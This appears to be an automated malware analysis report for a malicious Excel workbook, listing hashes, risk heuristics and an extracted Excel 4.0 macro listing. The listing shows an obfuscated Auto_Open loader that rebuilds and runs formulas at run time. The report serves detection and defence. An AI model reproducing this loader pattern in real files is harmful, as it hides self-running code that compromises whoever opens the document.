Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8376f4c7c126a914…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:31:03 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 500e8a9183b29cb6d92a99e38b76f6e1 SHA-1: f56c5f2feaa4f3a951412fd1d4b70735dae79df3 SHA-256: 8376f4c7c126a9140f608a1785325775483ad63fda8c01ed9879e6069abd8454
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6458 bytes
SHA-256: 23352f36a42d8cce8faf63b9449a16d45b292bba95d6700383a1a428995a7600
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ptRF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I159 
' 0018     23 LABEL : Cell Value, String Constant - CtnKiHBk len=0 
' 0018     23 LABEL : Cell Value, String Constant - cxGbyyeg len=0 
' 0018     20 LABEL : Cell Value, String Constant - eIczB len=0 
' 0018     21 LABEL : Cell Value, String Constant - GetKUz len=0 
' 0018     20 LABEL : Cell Value, String Constant - iyVyR len=0 
' 0018     25 LABEL : Cell Value, String Constant - mrCAOeNLYk len=0 
' 0018     27 LABEL : Cell Value, String Constant - ncJebQoWhuqt len=0 
' 0018     23 LABEL : Cell Value, String Constant - OPyUuTSN len=0 
' 0018     27 LABEL : Cell Value, String Constant - qCutIHJjFyKr len=0 
' 0018     20 LABEL : Cell Value, String Constant - qWpuI len=0 
' 0018     20 LABEL : Cell Value, String Constant - QzXbJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - rQigUws len=0 
' 0018     20 LABEL : Cell Value, String Constant - sYXgX len=0 
' 0018     23 LABEL : Cell Value, String Constant - tLTgZbXu len=0 
' 0018     25 LABEL : Cell Value, String Constant - uqfZPBhjSZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - VOTZhzL len=0 
' 0018     25 LABEL : Cell Value, String Constant - vZOQzHaUYw len=0 
' 0018     21 LABEL : Cell Value, String Constant - wFlYrm len=0 
' 0018     21 LABEL : Cell Value, String Constant - xQprTQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - yrHeE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ptRF,I65,"SET.NAME("cxGbyyeg",VALUE("0"))",""
'  ptRF,I70,"SET.NAME("iyVyR",cxGbyyeg)",""
'  ptRF,I74,"SET.NAME("VOTZhzL",cxGbyyeg)",""
'  ptRF,I79,"SET.NAME("rQigUws",COUNTA(sYXgX))",""
'  ptRF,I82,"SET.NAME("tLTgZbXu",COUNTA(qWpuI))",""
'  ptRF,I86,[],""
'  ptRF,I88,"SET.NAME("vZOQzHaUYw","")",""
'  ptRF,I92,"iyVyR",""
'  ptRF,I94,"SET.NAME("wFlYrm",HLOOKUP("*",sYXgX,iyVyR,FALSE))",""
'  ptRF,I99,"mrCAOeNLYk",""
'  ptRF,I102,"SET.NAME("qCutIHJjFyKr",cxGbyyeg)",""
'  ptRF,I104,[],""
'  ptRF,I108,"qCutIHJjFyKr",""
'  ptRF,I111,"eIczB",""
'  ptRF,I115,"OPyUuTSN",""
'  ptRF,I117,"CtnKiHBk",""
'  ptRF,I121,"SET.NAME("QzXbJ",VALUE(HLOOKUP("*",qWpuI,CtnKiHBk,FALSE)))",""
'  ptRF,I126,"yrHeE",""
'  ptRF,I128,"vZOQzHaUYw",""
'  ptRF,I132,"VOTZhzL",""
'  ptRF,I136,NEXT(),""
'  ptRF,I140,"xQprTQ",""
'  ptRF,I143,"SET.NAME("f",INT(T(FORMULA(T(vZOQzHaUYw)&"",""&T(xQprTQ)))))",""
'  ptRF,I147,"ncJebQoWhuqt",""
'  ptRF,I149,NEXT(),""
'  ptRF,I154,RETURN(),""
'  ptRF,I187,"SET.NAME("GetKUz",I65)",""
'  ptRF,I191,"sYXgX",""
'  ptRF,I194,"SET.NAME("qWpuI",R40C13)",""
'  ptRF,I199,"SET.NAME("ncJebQoWhuqt",207)",""
'  ptRF,I202,"SET.NAME("uqfZPBhjSZ",9)",""
'  ptRF,I206,GetKUz(),""
'  ptRF,I207,HALT(),""

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